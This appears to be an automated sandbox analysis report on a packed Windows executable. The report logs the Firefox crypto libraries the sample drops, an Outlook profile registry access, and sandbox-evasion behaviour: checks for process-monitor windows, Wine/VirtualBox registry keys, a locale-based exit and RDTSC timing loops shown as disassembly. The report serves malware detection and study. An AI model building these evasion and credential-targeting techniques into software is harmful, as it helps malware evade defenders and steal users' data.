Source: file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387056038.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2386621980.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387056038.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2386621980.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386621980.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387056038.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2386621980.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2178574173.000000001D878000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202317793.000000001D86B000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBGHJKEBFHIJDHC.0.dr, DGCBAFIJDGHCAKECAEGC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386621980.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386621980.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1833472 > 1048576

Source: file.exe

Static PE information: Raw size of igvkgldi is bigger than: 0x100000 < 0x199800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2387635460.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2387056038.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2387056038.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2387635460.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.1e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;igvkgldi:EW;hcoldwqj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;igvkgldi:EW;hcoldwqj:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001F9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1ca0f0 should be: 0x1cc83f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: igvkgldi
Source: file.exe	Static PE information: section name: hcoldwqj
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001FB035 push ecx; ret	0_2_001FB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00483804 push esi; mov dword ptr [esp], ebx	0_2_0048383B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00483804 push ebp; mov dword ptr [esp], 2FF77B4Fh	0_2_004838D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00483804 push ecx; mov dword ptr [esp], 67EFDEC1h	0_2_004838DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00483804 push 71B9E5EFh; mov dword ptr [esp], ecx	0_2_00483916
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00483804 push eax; mov dword ptr [esp], edi	0_2_0048393E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00483804 push 6A96D27Dh; mov dword ptr [esp], eax	0_2_004839A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063182D push eax; mov dword ptr [esp], ebp	0_2_006318D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063182D push edx; mov dword ptr [esp], ebx	0_2_00631986
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00694833 push ecx; mov dword ptr [esp], edi	0_2_0069489F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E5800 push 0D59F303h; mov dword ptr [esp], esi	0_2_005E580E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E5800 push esi; mov dword ptr [esp], eax	0_2_005E5877
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00654010 push 012EAEA1h; mov dword ptr [esp], ecx	0_2_00654066
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006280EB push 5DCCEF8Ah; mov dword ptr [esp], ebp	0_2_0062810E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064C0C4 push 0EA40A0Ch; mov dword ptr [esp], edi	0_2_0064C11B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C309C push ecx; mov dword ptr [esp], 176A8842h	0_2_005C30DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C8881 push esi; mov dword ptr [esp], 1D3542DDh	0_2_005C889D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C8881 push ecx; mov dword ptr [esp], eax	0_2_005C88E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0062189A push 4022B29Dh; mov dword ptr [esp], edi	0_2_006218BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0062189A push edx; mov dword ptr [esp], ecx	0_2_00621926
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A4969 push ebp; mov dword ptr [esp], edi	0_2_006A497D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00681142 push 5B9C6F54h; mov dword ptr [esp], edx	0_2_006811B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A1124 push ebp; mov dword ptr [esp], edx	0_2_006A1128
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A1124 push edx; mov dword ptr [esp], ebp	0_2_006A1203
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00636133 push eax; mov dword ptr [esp], esi	0_2_0063615C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00636133 push edi; mov dword ptr [esp], ebx	0_2_006361AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056590F push ebp; mov dword ptr [esp], 6E4268FDh	0_2_0056596D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056590F push ebp; mov dword ptr [esp], esi	0_2_0056599A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056590F push 12DBD478h; mov dword ptr [esp], edi	0_2_005659AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056590F push 3CF3AEC6h; mov dword ptr [esp], ebx	0_2_00565A77
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E69D0 push ecx; mov dword ptr [esp], 1100DB59h	0_2_005E69FE

Source: file.exe

Static PE information: section name: igvkgldi entropy: 7.952830117351486

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_001F9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13264

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3F6D second address: 5C3F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8904F778A6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3F78 second address: 5C3F8D instructions: 0x00000000 rdtsc 0x00000002 js 00007F8904F6CED8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F8904F6CED6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8A85 second address: 5B8A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C31D1 second address: 5C31D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C31D5 second address: 5C31DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C31DB second address: 5C31E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C31E5 second address: 5C31E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C31E9 second address: 5C31F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5270 second address: 5C52AC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F8904F778ADh 0x00000010 mov eax, dword ptr [eax] 0x00000012 jne 00007F8904F778B5h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f je 00007F8904F778A6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5413 second address: 5C542B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8904F6CEE3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C542B second address: 5C54E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 28B31206h 0x0000000e mov ecx, dword ptr [ebp+122D24FAh] 0x00000014 push 00000003h 0x00000016 mov edi, dword ptr [ebp+122D2C9Fh] 0x0000001c push 00000000h 0x0000001e movsx esi, ax 0x00000021 push 00000003h 0x00000023 push 00000000h 0x00000025 push eax 0x00000026 call 00007F8904F778A8h 0x0000002b pop eax 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 add dword ptr [esp+04h], 00000015h 0x00000038 inc eax 0x00000039 push eax 0x0000003a ret 0x0000003b pop eax 0x0000003c ret 0x0000003d mov dl, B7h 0x0000003f mov ecx, dword ptr [ebp+122D29E3h] 0x00000045 call 00007F8904F778A9h 0x0000004a jmp 00007F8904F778B8h 0x0000004f push eax 0x00000050 jg 00007F8904F778AEh 0x00000056 mov eax, dword ptr [esp+04h] 0x0000005a pushad 0x0000005b jns 00007F8904F778ACh 0x00000061 pushad 0x00000062 push ebx 0x00000063 pop ebx 0x00000064 jmp 00007F8904F778B8h 0x00000069 popad 0x0000006a popad 0x0000006b mov eax, dword ptr [eax] 0x0000006d push eax 0x0000006e push edx 0x0000006f push esi 0x00000070 jmp 00007F8904F778B2h 0x00000075 pop esi 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C54E9 second address: 5C54F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F8904F6CED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C54F3 second address: 5C5518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F8904F778A8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5518 second address: 5C551E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C55BC second address: 5C55C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7742 second address: 5D7746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B1F22 second address: 5B1F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E51BA second address: 5E51BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E51BE second address: 5E51C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E51C4 second address: 5E51E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8904F6CEE8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E547C second address: 5E5484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5484 second address: 5E5492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007F8904F6CED6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5492 second address: 5E54D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778B4h 0x00000009 popad 0x0000000a pop esi 0x0000000b pushad 0x0000000c jmp 00007F8904F778AAh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F8904F778B7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5767 second address: 5E578F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jmp 00007F8904F6CEDFh 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F8904F6CED8h 0x00000014 push edx 0x00000015 pop edx 0x00000016 jg 00007F8904F6CEEBh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E578F second address: 5E57A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E57A2 second address: 5E57A7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5A33 second address: 5E5A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F8904F778B8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5A53 second address: 5E5A57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5A57 second address: 5E5A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007F8904F778A8h 0x0000000e jp 00007F8904F778ACh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5A77 second address: 5E5A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8904F6CED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5BB9 second address: 5E5BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6135 second address: 5E614E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F8904F6CEE0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
